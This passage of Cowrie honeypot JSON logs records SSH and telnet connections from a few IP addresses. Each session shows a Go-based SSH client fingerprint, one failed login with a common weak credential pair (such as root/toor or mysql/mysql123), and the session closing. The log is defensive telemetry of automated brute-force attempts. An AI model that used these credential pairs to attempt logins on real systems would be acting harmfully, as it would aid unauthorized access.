poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:59:59.606817Z","src_ip":"45.153.34.114","session":"f324f3bdaab8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"neptune","password":"neptune","message":"login attempt [neptune/neptune] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:59:59.862911Z","src_ip":"45.153.34.114","session":"f324f3bdaab8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:00:00.951590Z","src_ip":"45.153.34.114","session":"f324f3bdaab8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":57928,"dst_ip":"159.203.135.109","dst_port":22,"session":"4275c58b5f38","protocol":"ssh","message":"New connection: 45.153.34.114:57928 (159.203.135.109:22) [session: 4275c58b5f38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:00:06.772604Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:00:06.787884Z","src_ip":"45.153.34.114","session":"4275c58b5f38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:00:06.881004Z","src_ip":"45.153.34.114","session":"4275c58b5f38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hzx","password":"hzx","message":"login attempt [hzx/hzx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:00:07.141099Z","src_ip":"45.153.34.114","session":"4275c58b5f38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:00:08.390126Z","src_ip":"45.153.34.114","session":"4275c58b5f38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":33842,"dst_ip":"159.203.135.109","dst_port":22,"session":"a3263a829cb6","protocol":"ssh","message":"New connection: 103.75.199.4:33842 (159.203.135.109:22) [session: a3263a829cb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:00:11.577031Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:00:11.586096Z","src_ip":"103.75.199.4","session":"a3263a829cb6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:00:11.679329Z","src_ip":"103.75.199.4","session":"a3263a829cb6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11111111","message":"login attempt [root/11111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:00:11.966562Z","src_ip":"103.75.199.4","session":"a3263a829cb6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":51076,"dst_ip":"10.17.0.5","dst_port":23,"session":"c39752a0ee75","protocol":"telnet","message":"New connection: 50.6.8.71:51076 (10.17.0.5:23) [session: c39752a0ee75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:00:12.941281Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:00:13.063288Z","src_ip":"103.75.199.4","session":"a3263a829cb6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":47118,"dst_ip":"159.203.135.109","dst_port":22,"session":"19e96e71f3ba","protocol":"ssh","message":"New connection: 45.153.34.114:47118 (159.203.135.109:22) [session: 19e96e71f3ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:00:14.509096Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:00:14.513952Z","src_ip":"45.153.34.114","session":"19e96e71f3ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:00:14.600812Z","src_ip":"45.153.34.114","session":"19e96e71f3ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1234567","message":"login attempt [user1/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:00:14.862641Z","src_ip":"45.153.34.114","session":"19e96e71f3ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:00:15.951441Z","src_ip":"45.153.34.114","session":"19e96e71f3ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":52006,"dst_ip":"159.203.135.109","dst_port":22,"session":"d320f04003b8","protocol":"ssh","message":"New connection: 45.153.34.114:52006 (159.203.135.109:22) [session: d320f04003b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:00:22.116841Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:00:22.122011Z","src_ip":"45.153.34.114","session":"d320f04003b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:00:22.205009Z","src_ip":"45.153.34.114","session":"d320f04003b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aa123456","message":"login attempt [root/aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:00:22.469889Z","src_ip":"45.153.34.114","session":"d320f04003b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:00:23.560542Z","src_ip":"45.153.34.114","session":"d320f04003b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":55094,"dst_ip":"159.203.135.109","dst_port":22,"session":"182f629b0892","protocol":"ssh","message":"New connection: 45.153.34.114:55094 (159.203.135.109:22) [session: 182f629b0892]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:00:29.872173Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:00:29.877211Z","src_ip":"45.153.34.114","session":"182f629b0892","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:00:29.965077Z","src_ip":"45.153.34.114","session":"182f629b0892","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"toor","message":"login attempt [root/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:00:30.233644Z","src_ip":"45.153.34.114","session":"182f629b0892","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:00:31.332882Z","src_ip":"45.153.34.114","session":"182f629b0892","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":55230,"dst_ip":"159.203.135.109","dst_port":22,"session":"a4f216ae70ff","protocol":"ssh","message":"New connection: 103.75.199.4:55230 (159.203.135.109:22) [session: a4f216ae70ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:00:33.469282Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:00:33.473837Z","src_ip":"103.75.199.4","session":"a4f216ae70ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:00:33.564620Z","src_ip":"103.75.199.4","session":"a4f216ae70ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123123","message":"login attempt [root/123123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:00:33.838718Z","src_ip":"103.75.199.4","session":"a4f216ae70ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:00:34.934418Z","src_ip":"103.75.199.4","session":"a4f216ae70ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":55108,"dst_ip":"159.203.135.109","dst_port":22,"session":"49068d441d1b","protocol":"ssh","message":"New connection: 45.153.34.114:55108 (159.203.135.109:22) [session: 49068d441d1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:00:37.464107Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:00:37.468999Z","src_ip":"45.153.34.114","session":"49068d441d1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:00:37.555630Z","src_ip":"45.153.34.114","session":"49068d441d1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql123","message":"login attempt [mysql/mysql123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:00:37.820788Z","src_ip":"45.153.34.114","session":"49068d441d1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:00:38.916605Z","src_ip":"45.153.34.114","session":"49068d441d1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":47892,"dst_ip":"159.203.135.109","dst_port":22,"session":"290cf7079e06","protocol":"ssh","message":"New connection: 45.153.34.114:47892 (159.203.135.109:22) [session: 290cf7079e06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:00:44.981018Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:00:44.986179Z","src_ip":"45.153.34.114","session":"290cf7079e06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:00:45.071724Z","src_ip":"45.153.34.114","session":"290cf7079e06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"1234","message":"login attempt [deploy/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:00:45.548640Z","src_ip":"45.153.34.114","session":"290cf7079e06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.38167667388916,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:00:46.322771Z","src_ip":"50.6.8.71","session":"c39752a0ee75","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:00:46.650853Z","src_ip":"45.153.34.114","session":"290cf7079e06","protocol":"ssh"}
